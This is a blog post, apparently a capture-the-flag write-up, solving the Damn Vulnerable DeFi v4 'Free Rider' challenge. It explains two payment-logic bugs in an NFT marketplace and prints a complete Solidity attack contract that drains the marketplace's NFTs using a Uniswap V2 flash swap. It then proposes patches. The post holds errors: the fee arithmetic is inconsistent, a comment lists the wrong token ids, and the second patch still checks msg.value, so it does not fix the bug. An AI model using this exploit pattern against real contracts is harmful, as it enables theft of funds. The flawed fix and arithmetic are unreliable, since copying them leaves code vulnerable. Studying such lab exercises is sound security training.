Damn Vulnerable DeFi V4 - 10 Free Rider

whiteberets[.]ethwhiteberets[.]eth
7 min read

Challenge

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

A critical vulnerability has been reported, claiming that all tokens can be taken. Yet the developers don’t know how to save them!

They’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way. The recovery process is managed by a dedicated smart contract.

You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.

If only you could get free ETH, at least for an instant.

Solve

When reviewing the source code of FreeRiderNFTMarketplace contract, we can find an obvious bug in the _buyOne() private function:

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0) {
        revert TokenNotOffered(tokenId);
    }

    if (msg.value < priceToPay) {
        revert InsufficientPayment();
    }

    --offersCount;

    // transfer from seller to buyer
    DamnValuableNFT _token = token; // cache for gas savings
    _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

    // pay seller using cached token
    payable(_token.ownerOf(tokenId)).sendValue(priceToPay); //@audit vulnerable

    emit NFTBought(msg.sender, tokenId, priceToPay);
}

You can observe that payable(_token.ownerOf(tokenId)).sendValue(priceToPay) will be equal to payable(msg.sender).sendValue(priceToPay), because at this time token.ownerOf(tokenId) is already equal to msg.sender.

_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
payable(_token.ownerOf(tokenId)).sendValue(priceToPay); // bruh

The correct approach should be to temporarily store the previous_owner first, and then send value to the previous_owner after the token.safeTransferFrom() function is executed.

Okay, let’s take a look at the pass conditions required by _isSolve():

function _isSolved() private {
    // The recovery owner extracts all NFTs from its associated contract
    for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
        vm.prank(recoveryManagerOwner);
        nft.transferFrom(address(recoveryManager), recoveryManagerOwner, tokenId); // 我們必須把 nft 都轉到 recoveryManager 合約去
        assertEq(nft.ownerOf(tokenId), recoveryManagerOwner);
    }

    // Exchange must have lost NFTs and ETH
    assertEq(marketplace.offersCount(), 0);
    assertLt(address(marketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE);

    // Player must have earned all ETH
    assertGt(player.balance, BOUNTY);
    assertEq(address(recoveryManager).balance, 0);
}

The most challenging part of the _isSolved() function is how we transfer nft from the FreeRiderNFTMarketplace contract to the FreeRiderRecoveryManager contract, which is the first block of this function.

There are two blocks left. After passing the assertion of the first block, it should automatically meet the requirements of the other two blocks.

The second bug in the FreeRiderNFTMarketplace contract is the buyMany() function, which allows us to buy multiple nfts using the same msg.value.

function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
    for (uint256 i = 0; i < tokenIds.length; ++i) {
        unchecked {
            _buyOne(tokenIds[i]); //@audit bugs here
        }
    }
}

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0) {
        revert TokenNotOffered(tokenId);
    }

    if (msg.value < priceToPay) { //@audit bugs here
        revert InsufficientPayment();
    }

    ...
}

Which means that it costs us the same msg.value to buy one nft at a time as it does to buy six nfts at once.

Resulting the msg.value that needs to be spent is the same (a.k.a. buy 1 and get 5 free).

At this point, we can initially plan out the attack steps:

  1. Call FreeRiderRecoveryManager.buyMany() function to spend ETH and get all of the NFTs

  2. Transfer NFTs to FreeRiderRecoveryManager contract.

  3. Challenge solved.

However, the selling price of each NFT has been set to 15 ETH.

function setUp() public {
    ...

    uint256[] memory ids = new uint256[](AMOUNT_OF_NFTS);
    uint256[] memory prices = new uint256[](AMOUNT_OF_NFTS);
    for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) { // AMOUNT_OF_NFTS = 6
        ids[i] = i;
        prices[i] = NFT_PRICE;  // NFT_PRICE = 15 ether
    }
    marketplace.offerMany(ids, prices);

    ...
}

Even with the bugs mentioned above, we still need to spend at least 15 ETH to successfully call the FreeRiderRecoveryManager.buyMany() function, but the player account only has 0.1 ETH:

function setUp() public {
    vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
    // PLAYER_INITIAL_ETH_BALANCE = 0.1 ether
}

We seem to have hit a dead end, but in fact we can temporarily borrow a large amount of ETH through the flashswap function of Uniswap V2. We only need to pay 0.3% of the amount of ETH as flashswap service fee.

You can visit the official documentation to learn how flashswap is initiated and the detailed description of flashswap fees:

https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps

We know that the player has 0.1 ETH in the initial state, and we know that the flashswap fee requires a 0.3% lending fee, so we can borrow up to 33.3333 ETH through UniswapV2 flashswap (if the burning transaction gas fee is not taken into account).

0.1 ethers / 0.03% = 33.33333 ethers

Now we can plan out the full attack steps:

  1. Write an attack contract.
    With an uniswapV2Call() function to be able to receive flashloan.
    With an onERC721Received() function to be able to receive NFTs.
    With a receive() payable function to be able to receive msg.value from player account.

  2. Attack contract initiates a flashswap function call to [Token/WETH] UniswapPair to borrow out at least 15 WETH.

  3. Convert WETH to ETH.

  4. Call FreeRiderRecoveryManager.buyMany() function to spend ETH and get all of the NFTs

  5. Transfer NFTs to FreeRiderRecoveryManager contract.

  6. Repay flashloan and fee.

  7. Done.

Full solution code:

function test_freeRider() public checkSolvedByPlayer {
    Drainer drainer = new Drainer{value: player.balance - 1}(weth, uniswapPair, marketplace, nft, recoveryManager, player);
    drainer.startFlashLoan();
}
//------------------------------------------------------------------
contract Drainer {
    WETH weth;
    IUniswapV2Pair uniswapPair;
    FreeRiderNFTMarketplace marketplace;
    DamnValuableNFT nft;
    FreeRiderRecoveryManager recoveryManager;
    address player;

    constructor(WETH _weth, IUniswapV2Pair _uniswapPair, FreeRiderNFTMarketplace _marketplace, DamnValuableNFT _nft, FreeRiderRecoveryManager _recoveryManager, address _player) payable {
        weth = _weth;
        uniswapPair = _uniswapPair;
        marketplace = _marketplace;
        nft = _nft;
        recoveryManager = _recoveryManager;
        player = _player;
    }

    function startFlashLoan() external {
        uniswapPair.swap(
            30 ether, // borrowing 30 WETH
            0, // borrowing 0 token
            address(this), // transfer borrowing amount to address(this)
            "foo" // non-empty data to trigger flash swap
        );
    }

    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
        require(msg.sender == address(uniswapPair), "ERROR: Unauthorized");

        // Convert all WETH to ETH
        weth.withdraw(weth.balanceOf(address(this)));

        // NFT token ids = [0, 1, 2, 3, 4, 5, 6]
        uint256[] memory ids = new uint256[](6);
        for (uint256 i = 0; i < 6; i++) { ids[i] = i; } 

        // Abuse vulnerable function
        marketplace.buyMany{value: address(this).balance}(ids);

        // Transfer all received NFTs to `FreeRiderRecoveryManager` contract
        for (uint256 i = 0; i < 6; i++) {
            nft.approve(address(recoveryManager), ids[i]);
            nft.safeTransferFrom(address(this), address(recoveryManager), ids[i], abi.encode(player));
        }        

        // Convert all ETH to WETH
        weth.deposit{value: address(this).balance}();

        // Repay flash loan
        uint256 fee = (amount0 * 1004) / 1000; // at least 0.3% of the borrowing amount
        weth.transfer(address(uniswapPair), fee);
    }

    function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) { return this.onERC721Received.selector; }   

receive() external payable {}
}

Potential Solution

Bug 1: Logic error on pay to NFT seller operation.

Caching the previous NFT’s owner address before transfering NFT’s ownership should solve this bug.

Example patches:

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0) {
        revert TokenNotOffered(tokenId);
    }

    if (msg.value < priceToPay) {
        revert InsufficientPayment();
    }

    --offersCount;

    //------------------------ BAD -------------------------//
    // DamnValuableNFT _token = token;
    // _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
    // payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
    //------------------------ GOOD ------------------------//
    DamnValuableNFT _token = token;
    address prev_owner = _token.ownerOf(tokenId);
    payable(prev_owner).sendValue(priceToPay);
    _token.safeTransferFrom(prev_owner, msg.sender, tokenId);
    //-------------------------------------------------------//
    emit NFTBought(msg.sender, tokenId, priceToPay);
}

Bug 2: Logic error on InsufficientPayment() check.

Caching the remaining msg.value before entering _buyOne() function should solve this bug. It also requires to remove the unchecked block.

Example patches: (Note: This is just an emergency patch, better not use it in the production environment.)

function buyMany2(uint256[] calldata tokenIds) external payable nonReentrant {
    uint256 remaining_value = msg.value;

    for (uint256 i = 0; i < tokenIds.length; ++i) {
        remaining_value = _buyOne2(tokenIds[i], remaining_value);
    }
}

function _buyOne2(uint256 tokenId, uint256 remaining_value) private returns (uint256 new_remaining_value){
    uint256 priceToPay = offers[tokenId];
    if (priceToPay == 0) {
        revert TokenNotOffered(tokenId);
    }

    if (msg.value < priceToPay) {
        revert InsufficientPayment();
    }

    --offersCount;

    //==================== Bug 1 Patch =====================//
    //------------------------ BAD -------------------------//
    // DamnValuableNFT _token = token;
    // _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
    // payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
    //------------------------ GOOD ------------------------//
    DamnValuableNFT _token = token;
    address prev_owner = _token.ownerOf(tokenId);
    payable(prev_owner).sendValue(priceToPay);
    _token.safeTransferFrom(prev_owner, msg.sender, tokenId);
    //======================================================//

    new_remaining_value = remaining_value - priceToPay;

    emit NFTBought(msg.sender, tokenId, priceToPay);
}
0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Damn Vulnerable DeFi v4

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣